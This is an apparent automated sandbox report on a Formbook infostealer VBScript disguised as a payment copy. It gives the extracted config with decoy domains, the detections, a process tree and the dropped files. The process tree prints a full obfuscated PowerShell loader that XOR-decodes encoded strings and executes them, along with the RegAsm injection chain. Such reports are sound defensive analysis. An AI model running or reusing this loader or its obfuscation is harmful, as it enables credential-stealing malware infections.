Analysis

  • max time kernel
    149s
  • max time network
    133s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    10/09/2026, 15:16

General

  • Target
    Payment Copy USD 32,619.vbs
  • Size 25KB
  • Sample260910-snnnya1fph
  • SHA256 dbc86ad2a8b867c09e326e4740a9ba339b35aeb46f8edc79846ff4a30330e352
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • formbook

Version
  • 4.1

Campaign
  • me26

Decoy
  • tpsgraphics.com

  • qlcrudr.com

  • wetwillysdetailing.com

  • xulytroxi.vn

  • mysteryboxenkopen.nl

  • 319462xx.cc

  • ainelversion.com.br

  • d2nl.top

  • o34wico1.top

  • innwa77.bet

  • dvpprover.xyz

  • liping-pi.eu.cc

  • amoartpintura.com

  • zbbtop12.icu

  • comercializadoravazquez.com

  • en-888casino.com

  • fxxyy.com

  • bcgeu.dev

  • moon-bbsports.com.cn

  • d2qf4t.top

Signatures

  • Family: Formbook

    Formbook is a data stealing malware which is capable of stealing data.

  • Formbook payload 1 IoCs
  • Badlisted process makes network request 6 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Kills process with taskkill 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 13 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 34 IoCs
  • Suspicious use of UnmapMainImage 1 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Windows\explorer.exe
    explorer.exe /LOADSAVEDWINDOWS
    1⤵
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of UnmapMainImage
    • Suspicious use of WriteProcessMemory
    PID:5944
    • C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Payment Copy USD 32,619.vbs"
      2⤵
      • Executes a VBScript file via the Windows Script Host.
      • Suspicious use of WriteProcessMemory
      PID:4380
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $j=77-29;$f4YdaBJpz='7MU7ZDULi';$f32duHK='fb9291fe84879088e3c28ad7b9968a98cfb8b98cc2acc4ddc4bd90e4948bf89dc0ab83bbe9c9baf393819b8fadfabac5a7a5bab9deedda828bce849c9688a4b5bc9de4848ba4bb9eb5bcace4839a9a8bedde8891eb959c8bbbf9a7a18df29dac9e95a6abd3ace982879181ebb9819bfad992da9de7c2ca9de59f9cdb8dbeb4ce8290fae3f5b5b7fc958bb0a3829a83b3bdcaacf893819182b0bdd4f297aba09a92edce828deb998d9ab6acf4898bd091809e81a6efbac5a7a38b9c93b1f49386cd82818b89a0f28bdfa0d0b5b183b7b3b49afe859c9692bacd9590e99f8d908a97e4979ac0cad4ab8ab0acd5f297d48fccd6feb5b892bdd7d8c68081b2ccccf4c7a19587b5d2b7ceabc884a5cdfbd9d585ffc79d898393abd699ffbedcd4949bea85d0cbc2a2d0d0f1e8aba5a985ddb6d4a6c59586d2a0dbc8839ba5d1b0e7b8dc9a84b7e4a8aff1889d95a4ecd385a7ea96b6b89fa0ae80cee999d889cdf1a4918cfba7dfc6d5a9ab9585d3869a9d8ffab2c8a8a483ddced0fbf7ad89b6c7b78893a9f8d6c7d5c1df9b8fe8a892ccd5c5a19584bad18591ac939cb5dfa6e4decdfb86b9cb90a6ab9fb2f7b69b8a908aaf82ccc5c3a3cc8ebbd381c8e79597c791a6cd93cdd0a8d6c992b9d3d3b1b2919799beb0eb8391aac19bb3d5b6eeb794abdbbe8d9fb7f0d0cef99aac8993b5d4d3d0efa698c788f2aaabccc7dbd79d8ffaaa95bae7bfbdcb9eb0f78dcbeea4a7c9a9a9dad5c8aac6d8c68cf0b2aaabc5dbd99da1bba5bf95abc888a5dfb6ae8a85fec39d87def0d6d09dafdbdbd4d19ae8c88df886a091d4f4d2aba5b68598b4d5a5f393cdd09ec1c883a2ab908aafc9979ab286e4a885b287a286cdb7fadac2bad9e3f5a7a7f9caabe4808bdfcb97e4979ad995889688aae98e90f3d0c6a4b2a6e593d1d89e8d9082aaf380a2a7cabbaba0fbb3a09ae9a39a8d8fadfacfa4de9f808983b1e9bac5a7b69c908b81fc949aabc4bd8b94aaf380d7b991ddcfcfeab4eaf5fb85809c92aaf289dff9d8ca9ed5f2b49cdbfcc3dcc2a8a6eacab0ff9a8b9c92e3d3828bb3a78b9da5aff48291e9cbc6b883b7b0b59ef3948192c6e7fcd4cebdddad9093ade9c7dbfcc3dfd1a5ace8898bb48ccb8492b1e49c8df8849b8d88e3b986ccafdeaa9091adf1889ef9b48f8b87ebb9b8d6e0938f8b85abe69a82e0fde49993adfe9396f29ece96cee7fcd4d3b991dad3c2a2a8cbdbfcc6d3bfceeab49cdbfcc7d3a4b6abfc898bf29da99e92a6c0ddc5d19f8f9ba7b0ee8292ff9c97d7c2a2aecec4b991d6c2c2a2aac9b8f884ba8696a6eecf';$ceV18zH1='S2Q/GStOLl9JDnROA2J0IDRZEzgkAztsOz1dWyUkAzc/R3xIL310CmB1KD1dVzQoOV10ZnVZAWxpDWE/QnBSBnFuBUl9YX5PPzBfDy82MzZOFiwrAHx+OFFbVnwvVDh0UHQLKUhjSSQmNyxJG3J4F0cpKzILCi9PDTI2KTAVWTxiUjJ4ZjEdRnk5TEZiU21dFnFjS3RKQXpIC25hFmBjXSMGIWplA3t0SXdPFnluAWo5JHgES2U7Rm4oLlBSFHdrByc1YikQRnk2S3IcChQ2RnoxX085KDFjDzgnVyBnNz4VQjMgSlB8ID4TVU9nDUBjLzZzAHA2A0diNFZ3BSF1JmZ+Ty4TTS5EETlkSC4IMmFnFzlZbDYXBSUnSyY9KDFjDzgnVyBnNzYLNX9vLTx7K2xOBS9PEHolZWtJVjd2EGB0en5TB0xxDUBVNjZdLmk5TSBgL39KDzdPE2hkNlFQTTNnXyg4KTUUSkdtQigkL28LTS9XBWBBdiAJFDdwVXkicS0TA3A3LUt4b1ZeCy91CH4+S1oLDX1YTTlQPSQbSzEpbwV4ZjEURnoyX2sxJHsNSzVhDGs5JHgIX0NUB3dlLlxSAXdkC2F2XSMGN0xGWiFWZW1vFmppDGg5JHsOSzEtD25lY3EUPXUgRXwmUHoOWiw9RSYxKzkUPXUgRTx1dWFPA31oEm1SbWoLMlN3MzIsJzAcSTgoPWIxJ2ALJWAnSyZqDRMcQjxiUS8sIDFjDzgnSSB3N3ZZGGk3B3V9L3xvBW43A2hlN2xUFy8yW2BzYXFJAC45DURSMS9sGGg1LWVhNTJSWi5mGH02KTkHQjxiUS8sID1eUTZTF21idGtVDH8oUiMxJHsPTFRlDGhlaDkRQikySwIbJHgPUzg9QidObTkbFG89Xyg4ICIxaDxiVjI5X3QcRSx2ACA+ZV1TTX03C2ByZn4bSzgrQidObTkbVm1yEyBQPSQbSyMNaC8xIDlVQjBbIWB/dnxOFkU6WEljb3R+A2tlVDtCdGtVDH8oRkJwdHpUB2tbU1I4KTkYACwgSlB8ID4TBGpoTV9mPT4VQlgoRm0iLDkYAysxTi82JzUcSkdtQigiZWtTGG56Cyg4LDkUPXUgRXlmPSQbSzgsQidObTkbWy9lVyg4KRQ2QjggQkh0dDRsEHdjB3xifGpTEGwgIV9EIDRYB2tjHnx0bHxfFjgtBGZjc20cV2RmFi9fYXRZTltQNy9sDRMxaDggQi8xIDkcQjg=';$rtOFf6XJn=0xE132-0xC0B4;$vEhBWzlM=@();foreach($c in [char[]]$f4YdaBJpz){$vEhBWzlM+=[byte]($c-bxor0xAA)};$xgeBb6yF=$vEhBWzlM;$vEhBWzlM=@();foreach($c in [char[]]$f4YdaBJpz){$vEhBWzlM+=[byte]($c-bxor0x55)};$dkHu5Bf=$vEhBWzlM;$vEhBWzlMoldR='';$i=0;for($j=0;$j-lt$f32duHK.Length;$j+=2){$vEhBWzlMoldR+=[char](([Convert]::ToInt32($f32duHK.Substring($j,2),16))-bxor$xgeBb6yF[$i++%$xgeBb6yF.Length])};$dRer8Ym=$vEhBWzlMoldR;$vEhBWzlMoldB=[Convert]::FromBase64String([regex]::Replace($ceV18zH1, '$vEhBWzlM', ''));$vEhBWzlMoldR='';$i=0;for($j=0;$j-lt$vEhBWzlMoldB.Length;$j++){$vEhBWzlMoldR+=[char]($vEhBWzlMoldB[$j]-bxor$dkHu5Bf[$i++%$dkHu5Bf.Length])};$g2f9Iq=$vEhBWzlMoldR;$fjYdTRMs=$dRer8Ym+$g2f9Iq;.($env:ComSpec[4,26,25]-join'') $fjYdTRMs
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2152
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ibajugnl\ibajugnl.cmdline"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3988
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5421.tmp" "c:\Users\Admin\AppData\Local\Temp\ibajugnl\CSCDD560EEF88C1402D95DB8154B83DF52.TMP"
            5⤵
              PID:4328
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-Process cmd.exe -ArgumentList '/c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F' -WindowStyle Hidden -Wait
            4⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:2268
            • C:\Windows\system32\cmd.exe
              "C:\Windows\system32\cmd.exe" /c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F
              5⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:5656
              • C:\Windows\system32\taskkill.exe
                taskkill /IM RegAsm.exe /F
                6⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:4736
              • C:\Windows\system32\taskkill.exe
                taskkill /IM Vbc.exe /F
                6⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:4516
              • C:\Windows\system32\taskkill.exe
                taskkill /IM MsBuild.exe /F
                6⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:1524
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
            4⤵
            • Suspicious use of SetThreadContext
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious behavior: MapViewOfSection
            • Suspicious use of AdjustPrivilegeToken
            PID:4440
      • C:\Windows\SysWOW64\wlanext.exe
        "C:\Windows\SysWOW64\wlanext.exe"
        2⤵
          PID:4800

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

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            Downloads

            ModuleAnalysisCache

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
            • Size 67KB
            • SHA256 96952b58e7507bfbf6b1edf838d41182ae4f94e983572fa0c037be46d4ab1b05
            • MD5 SHA1 SHA512 SSDEEP TLSH

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 2ec23395f3b5cfe1021e53734f768b72e49603b3aaa81e4131f1a6ad7c33eeca
            • MD5 SHA1 SHA512 TLSH

            RES5421.tmp

            • Path C:\Users\Admin\AppData\Local\Temp\RES5421.tmp
            • Size 1KB
            • SHA256 0793c9ddd4bc1150cac16f58c7fed48bdec3a9cf699442892f1541ea1ea9e344
            • MD5 SHA1 SHA512 TLSH

            ibajugnl.dll

            • Path C:\Users\Admin\AppData\Local\Temp\ibajugnl\ibajugnl.dll
            • Size 3KB
            • SHA256 07b1fdc1a955713aac042e1bfc0c6a41bfc61bb297aca4f962ff269762898f3e
            • MD5 SHA1 SHA512 TLSH

            CSCDD560EEF88C1402D95DB8154B83DF52.TMP

            • Path \??\c:\Users\Admin\AppData\Local\Temp\ibajugnl\CSCDD560EEF88C1402D95DB8154B83DF52.TMP
            • Size 652B
            • SHA256 eca297ff0e7df294d41547089c29cc4983a2fff08fa87e975cf96c3212ce3ff1
            • MD5 SHA1 SHA512 TLSH

            ibajugnl.0.cs

            • Path \??\c:\Users\Admin\AppData\Local\Temp\ibajugnl\ibajugnl.0.cs
            • Size 213B
            • SHA256 1a9e7f41d4b7e4ec3e7072acf6bf2a2e7ccb58d76658dfefcf17376712688491
            • MD5 SHA1 SHA512 TLSH

            ibajugnl.cmdline

            • Path \??\c:\Users\Admin\AppData\Local\Temp\ibajugnl\ibajugnl.cmdline
            • Size 369B
            • SHA256 3c38dd1c9327f52b141b812851ad618de28abca4a725fa817fe273a1e5fd51e2
            • MD5 SHA1 SHA512 TLSH

            memory/2152-7-0x00007FFC5F490000-0x00007FFC5FE34000-memory.dmp

            memory/2152-5-0x00007FFC5F490000-0x00007FFC5FE34000-memory.dmp

            memory/2152-9-0x00007FFC5F490000-0x00007FFC5FE34000-memory.dmp

            memory/2152-8-0x00007FFC5F490000-0x00007FFC5FE34000-memory.dmp

            memory/2152-0-0x00007FFC5F61F000-0x00007FFC5F620000-memory.dmp

            memory/2152-23-0x0000020A1AEF0000-0x0000020A1AEF8000-memory.dmp

            memory/2152-6-0x00007FFC5F490000-0x00007FFC5FE34000-memory.dmp

            memory/2152-10-0x00007FFC5F490000-0x00007FFC5FE34000-memory.dmp

            memory/2152-24-0x00007FFC5F490000-0x00007FFC5FE34000-memory.dmp

            memory/2152-25-0x00007FFC5F490000-0x00007FFC5FE34000-memory.dmp

            memory/2152-27-0x0000020A1B330000-0x0000020A1B364000-memory.dmp

            memory/2152-3-0x0000020A1AF00000-0x0000020A1AF22000-memory.dmp

            memory/2152-36-0x00007FFC5F490000-0x00007FFC5FE34000-memory.dmp

            memory/2152-4-0x00007FFC5F490000-0x00007FFC5FE34000-memory.dmp

            memory/4440-32-0x0000000000020000-0x000000000005E000-memory.dmp

            memory/4800-37-0x0000000000840000-0x0000000000857000-memory.dmp